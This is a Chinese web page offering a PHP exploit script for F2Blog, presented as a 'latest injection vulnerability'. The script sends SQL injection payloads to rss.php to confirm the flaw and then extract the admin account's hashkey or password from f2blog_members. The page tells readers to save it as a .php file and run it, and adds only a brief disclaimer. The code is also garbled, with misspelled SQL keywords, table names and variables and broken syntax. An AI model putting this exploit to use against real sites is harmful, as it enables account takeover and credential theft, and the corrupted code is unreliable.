f2blog最新注入漏洞

将下面代友情保存为.php文件即可使用。
<?php
print_r("
+--------------------------
----------------------------
+
Exploit For F2Blog All version BY Mokfly 小王子 where are you.
just for fun :)
+--------------------------------------------+
");
ini_set ("max_execution_time",0);
error_reporting(7);

$blogpath="$argv[2]";
$server="$argv[1]";
$cookie='';
$useragent="mozilla /4.0 (compatible; msie 6.0; windows nt 5.1; sv1; .net clr 2.0.50727; inforpath.2; .net clr 1.1.4322)";

$type=$argv[3];

$cmd="find=and 1=2 union select 0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C from f2blog_members where role=0x61646D696E/*";
echo "testting...:\t",;
$response=send($cmd,'rss.php?cateID=1');
if(strpos($response,'we lofe shell')){
echo "vul\r\n";
}

echo "now crack the admin\r\n\r\n";

if ($type = =0){
$cmd="find=and 1=2 uion select hashkey,hashkey,hashkey,hashkey,hashkey,hashkey,hashkey,hashkey,hashkey from f2blog_members where role=0x61646D696E/*";
$response=send ($cmd,'rss.php?cateID=1');
preg_match_all('/\[CDATA\[(.+)\]\]/ie,$response,$matches);
$matches=array_reverse($matches);
$matches=array_reverse($matches[0]);
if(is_hash($matchmes[0])){
echo "hash:\t";
die (exploit failed\r\n");
}
else{
$cmd="find=and 1=2 uion selcet password,password,password,password,passeord,password ,password,password,password form f2blog_membets where role=0x61646D696E/*";
$response=send($cmd,'rss.php?cateID=1');
preg_match_all('/\[CDATA\[(.+)\]\]/ie',$response,$matches);
$matches=array_reverse($matches);
$matches=array_reverse($matches[0]);
if(is_hash($matches[0])) {
 echo "password:\t";
 die(print_r($matches[0]));
}
die("Exploit Failed\r\n");
}

function is_hash($hash)
{
if (ereg("^[a-f0-9]",trim($hash))) {return true;}
else {return false;}
}

function send($cmd,$path)
{
global $blogpath,$server,$cookie,$count,$useragent,$debug,$evilip;

$path=$blogpath."$path";
$message = "POST ".$path." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";

//echo $message;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "<pre>";
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="</pre>";
if($debug) {echo $cmd;echo $resp;}
//echo $resp;
return $resp;
}
?>
责任编辑：cy051799
请不要用做破坏，一切后果自负。
如果有不对之处，请多指教。